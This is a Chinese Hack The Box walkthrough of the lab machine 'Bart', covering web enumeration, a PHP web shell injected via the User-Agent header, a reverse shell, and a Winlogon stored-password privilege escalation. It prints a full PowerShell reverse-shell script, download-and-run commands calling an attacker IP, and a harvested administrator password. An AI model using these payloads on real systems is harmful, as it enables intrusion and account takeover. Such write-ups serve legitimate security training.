[Meachines] [Medium] Bart Server Monitor+Internal Chat+UA投毒+Winlogon用户密码泄露权限提升

信息收集

IP AddressOpening Ports
10.10.10.81TCP:80

$ nmap -p- 10.10.10.81 --min-rate 1000 -sC -sV

PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to http://forum.bart.htb/
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

HTTP

$ curl 10.10.10.81 -I

image.png

# echo '10.10.10.81 bart.htb forum.bart.htb' >> /etc/hosts

http://forum.bart.htb/

image-1.png

$ feroxbuster --url http://bart.htb/

image-2.png

image-3.png

samantha
daniel
robert
harvey
daniella

从主页上收集密码

$ cewl -w password.txt -e -a http://forum.bart.htb

image-4.png

username:harvey password:potter

image-5.png

# echo '10.10.10.81 monitor.bart.htb' >> /etc/hosts

image-6.png

# echo '10.10.10.81 internal-01.bart.htb' >> /etc/hosts

http://internal-01.bart.htb/simple_chat/login_form.php

image-7.png

https://github.com/magkopian/php-ajax-simple-chat/tree/master/simple_chat

image-8.png

$ curl -d "uname=maptnh&passwd=WHOAMI123" -X POST http://internal-01.bart.htb/simple_chat/register.php

image-9.png

UA投毒

该函数会向指定的服务器端接口发送请求以记录日志,并且会提前弹出“Done”消息,但实际日志的保存与否要取决于服务器的响应。

image-10.png

http://internal-01.bart.htb/log/log.txt

image-11.png

http://internal-01.bart.htb/log/log.php?filename=log.htm&username=harvey

当我们给出的文件后缀改变时,保存的文件类型也随之改变

image-12.png

GET /log/log.php?filename=rev.php&username=harvey HTTP/1.1
Host: internal-01.bart.htb
User-Agent: <?php system($_GET[1]);phpinfo(); ?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=t42g449reqtl5lgqhfachmr632
Upgrade-Insecure-Requests: 1

http://internal-01.bart.htb/log/rev.php

image-13.png

function Invoke-PowerShellTcp 
{ 
<#
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target. .DESCRIPTION
This script is able to connect to a standard netcat listening on a port when using the -Reverse switch. 
Also, a standard netcat can connect to this script Bind to a specific port.The script is derived from Powerfun written by Ben Turner & Dave Hardy.PARAMETER IPAddress
The IP address to connect to when using the -Reverse switch..PARAMETER Port
The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens..EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on 
the given IP and port. .EXAMPLE
PS > Invoke-PowerShellTcp -Bind -Port 4444Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port. .EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be
listening on the given IP and port. .LINK
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
https://github.com/nettitude/powershell/blob/master/powerfun.ps1
https://github.com/samratashok/nishang
#>      [CmdletBinding(DefaultParameterSetName="reverse")] Param([Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")][Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")][String]$IPAddress,[Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")][Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")][Int]$Port,[Parameter(ParameterSetName="reverse")][Switch]$Reverse,[Parameter(ParameterSetName="bind")][Switch]$Bind)try {#Connect back if the reverse switch is used.if ($Reverse){$client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)}#Bind to the provided port if Bind switch is used.if ($Bind){$listener = [System.Net.Sockets.TcpListener]$Port$listener.start()    $client = $listener.AcceptTcpClient()} $stream = $client.GetStream()[byte[]]$bytes = 0..65535|%{0}#Send back current username and computername$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")$stream.Write($sendbytes,0,$sendbytes.Length)#Show an interactive PowerShell prompt$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')$stream.Write($sendbytes,0,$sendbytes.Length)while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding$data = $EncodedText.GetString($bytes,0, $i)try{#Execute the command on the target.$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )}catch{Write-Warning "Something went wrong with execution of command on the target." Write-Error $_}$sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '$x = ($error[0] | Out-String)$error.clear()$sendback2 = $sendback2 + $x#Return the results$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)$stream.Write($sendbyte,0,$sendbyte.Length)$stream.Flush()  }$client.Close()if ($listener){$listener.Stop()}}catch{Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port." Write-Error $_}
}
$client = New-Object System.Net.Sockets.TCPClient('10.10.16.17',10033);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

http://internal-01.bart.htb/log/rev.php?1=powershell%20-Command%20%22iex%20(New-Object%20Net.WebClient).DownloadString(%27http://10.10.16.17/Invoke-PowerShellTcp.ps1%27)%22

image-14.png

权限提升 :Winlogon

PS C:\inetpub\wwwroot\internal-01\log> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

DefaultDomainName    REG_SZ    DESKTOP-7I3S68E
DefaultUserName    REG_SZ    Administrator
DefaultPassword    REG_SZ    3130438f31186fbaf962f407711faddb

PS C:\inetpub\wwwroot\internal-01\log> $username = "BART\Administrator"
PS C:\inetpub\wwwroot\internal-01\log> $password = "3130438f31186fbaf962f407711faddb"
PS C:\inetpub\wwwroot\internal-01\log> $secstr = New-Object -TypeName System.Security.SecureString
PS C:\inetpub\wwwroot\internal-01\log> $password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}
PS C:\inetpub\wwwroot\internal-01\log> $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $username, $secstr
PS C:\inetpub\wwwroot\internal-01\log> Invoke-Command -ScriptBlock { IEX(New-Object Net.WebClient).downloadString('http://10.10.16.17/Invoke-PowerShellTcp.ps1') } -Credential $cred -Computer localhost

image-15.png

User.txt

586a8d51938faf4c7933bf01a3d133bd

Root.txt

4dd674244719d9ba4c64e8f550c7f2d2

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/142767.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

在沉浸式翻译中使用SiliconCloud API:提升翻译体验

沉浸式翻译&#xff0c;作为广受好评的双语对照网页翻译插件&#xff0c;结合了硅基流动&#xff08;SiliconFlow&#xff09;的大语言模型&#xff0c;为用户提供了快速、准确的跨语言翻译服务。自2023年上线以来&#xff0c;这款AI双语对照网页翻译扩展已帮助超过100万用户跨…

【C++11 —— 异常】

C —— 异常 C语言传统的处理错误的方式C异常概念异常的使用异常的抛出和捕获异常的重新抛出异常安全异常规范 自定义异常体系自定义异常体系的目的 C标准库的异常体系异常的优缺点 C语言传统的处理错误的方式 在C语言中&#xff0c;错误处理通常依赖于返回值和全局变量的方式…

【程序人生】《把时间当做朋友》李笑来思维导图

李笑来&#xff0c;男&#xff0c;朝鲜族&#xff0c;1972年7月12日生&#xff0c;吉林人&#xff0c;畅销书作家、区块链专家、天使投资人。 INBlockchain硬币资本创始人&#xff0c;投资了区块链项目。曾在央视采访中自曝拥有六位数比特币。 出版发行《把时间当做朋友》 [9]、…

LAMP环境搭建记录:基于VM的Ubuntu虚拟机

LAMP环境搭建记录&#xff1a;基于VM的Ubuntu虚拟机 我们从这样的角度出发&#xff1a; 一、简述LAMP环境 二、搭建LAMP环境 一、什么是LAMP环境 首先&#xff0c;该词是复合&#xff1a; ​ LAMP Linux Apache MySQL PHP 其中&#xff0c;逐项简述为&#xff1a; …

代码随想录算法训练营第57天|卡码网 53. 寻宝 prim算法精讲和kruskal算法精讲

1. prim算法精讲 题目链接&#xff1a;https://kamacoder.com/problempage.php?pid1053 文章链接&#xff1a;https://www.programmercarl.com/kamacoder/0053.寻宝-prim.html prim算法 是从节点的角度 采用贪心的策略 每次寻找距离 最小生成树最近的节点 并加入到最小生成树中…

MoCo和SimCLR【CV双雄】

文章目录 文章列表五、MoCo V15.1 文章摘要5.2 实验结果5.3 文章图示图 1: Momentum Contrast (MoCo) 训练方法概述图 2: 三种对比损失机制的比较 六、SimCLR V16.1 文章摘要6.2 文章实验6.3 文章图示图 1: ImageNet Top-1 Accuracy of Linear Classifiers图 2: 对比学习框架图…

MySQL日志binlog和redo log区别

MySQL binlog简介 MySQL中有两类日志&#xff1a;binlog和redo log&#xff0c;分别有不同的作用和解决问题。binlog是归档日志&#xff0c;在MySQL server层的日志&#xff0c;适用于所有存储引擎&#xff0c;redo log是innodb特有日志用于crash-safe时恢复数据。 binlog和r…

【C++】—— list 模拟实现

【C】—— list 模拟实现 1 list 基础结构2 默认构造3 迭代器3.1 整体框架3.2 成员函数3.3 begin() 与 end() 的实现3.4 operator-> 的实现3.5 const 迭代器3.5.1 const 迭代器为什么命名 const_iterator3.5.2 const 迭代器的实现3.5.3 合并两个迭代器 4 源码 1 list 基础结…

【C++前后缀分解】1653. 使字符串平衡的最少删除次数|1793

前后缀分解 C前后缀分解 LeetCode1653. 使字符串平衡的最少删除次数 给你一个字符串 s &#xff0c;它仅包含字符 ‘a’ 和 b’​​​​ 。 你可以删除 s 中任意数目的字符&#xff0c;使得 s 平衡 。当不存在下标对 (i,j) 满足 i < j &#xff0c;且 s[i] ‘b’ 的同时…

软考中项(第三版):项目质量管理总结

前言 系统集成项目管理工程师考试&#xff08;简称软考中项&#xff09;&#xff0c;其中案例分析也是很大一部分考试内容&#xff0c;目前正在学习中&#xff0c;现总结一些可能会考到的知识点供大家参考。 1.1、项目质量管理总线索 1、质量管理的发展史 &#xff08;1&…

创建一个Java项目并在项目中新建文件,最后实现程序简单的输出

目录 前言 一、建立项目及新建Java类 二、输入简单代码实现输出 前言 1.本文所讲的是java程序设计语言&#xff0c;其内容是如何在id中新建一个项目&#xff0c;并新建一个Java文件&#xff0c;在其内输入相关代码并对其输出&#xff1b; 2.Java文件的编写以收入到我的专栏…

JDBC实现对单表数据增、删、改、查

文章目录 API介绍获取 Statement 对象Statement的API介绍使用步骤案例代码 JDBC实现对单表数据查询ResultSet的原理ResultSet获取数据的API使用JDBC查询数据库中的数据的步骤案例代码 API介绍 获取 Statement 对象 在java.sql.Connection接口中有如下方法获取到Statement对象…

IM系统完结了,那简历该怎么写?(含简历项目描述)

作者&#xff1a;冰河 星球&#xff1a;http://m6z.cn/6aeFbs 博客&#xff1a;https://binghe.gitcode.host 文章汇总&#xff1a;https://binghe.gitcode.host/md/all/all.html 星球项目地址&#xff1a;https://binghe.gitcode.host/md/zsxq/introduce.html 沉淀&#xff0c…

开放式耳机排行榜前十名?分享四款高性价比的开放式蓝牙耳机

开放式耳机并不一定要选价格贵的才好&#xff0c;而是应该按照个人需求来选择合适的开放式耳机产品&#xff0c;适合自己的才是最好。而且开放式耳机的价格区间也很广&#xff0c;从几十元到上千元不等&#xff0c;在每个价位区间里都有属于每个价位区间的高性价比耳机。选择耳…

RusTitW:大规模语言视觉文本识别数据集(猫脸码客 第190期)

RusTitW: Russian Language Visual Text Recognition 一、引言 在信息爆炸的现代社会&#xff0c;文本作为信息传递的重要载体&#xff0c;扮演着不可或缺的角色。随着计算机视觉与模式识别技术的飞速发展&#xff0c;自动化文本识别&#xff08;OCR, Optical Character Reco…

【LabVIEW学习篇 - 25】:JKI状态机

文章目录 JKI状态机JKI状态机安装JKI状态机的基本了解状态机的运行原理示例 JKI状态机 JKI状态机的核心就是队列消息状态机用户事件处理器模式&#xff0c;JKI状态机采用指定格式的字符串来描述状态。 JKI状态机并没有采用队列而是采用指定的字符串进行存储&#xff0c;它封装…

用EA和SysML一步步建模(07)蒸馏器系统上下文图01

用EA和SysML一步步建模的操作指南&#xff08;01&#xff09; 用EA和SysML一步步建模&#xff08;02&#xff09;导入ISO-80000 用EA和SysML一步步建模&#xff08;03&#xff09;创建包图和包的关系 用EA和SysML一步步建模&#xff08;04&#xff09;创建“需求组织”包图 …

【ACM出版】第三届人工智能与智能信息处理国际学术会议(AIIIP 2024,10月25-27)

第三届人工智能与智能信息处理国际学术会议&#xff08;AIIIP 2024&#xff09; 2024 3rd International Conference on Artificial Intelligence and Intelligent Information Processing 中国-天津 | 2024年10月25-27日 | 会议官网&#xff1a;www.aiiip.net 官方信息 会议…

flask项目初始化

1、初始环境 python3.8 2、flask文档地址&#xff1a;https://flask.palletsprojects.com/en/latest/installation/#install-flask 3、初始化项目 $ mkdir myproject $ cd myproject $ python3 -m venv .venv $ . .venv/bin/activate $ pip install Flask4、打开项目mypr…

如何关闭前端Chrome的debugger反调试

1、禁用浏览器断点 2. 把控制台独立一个窗口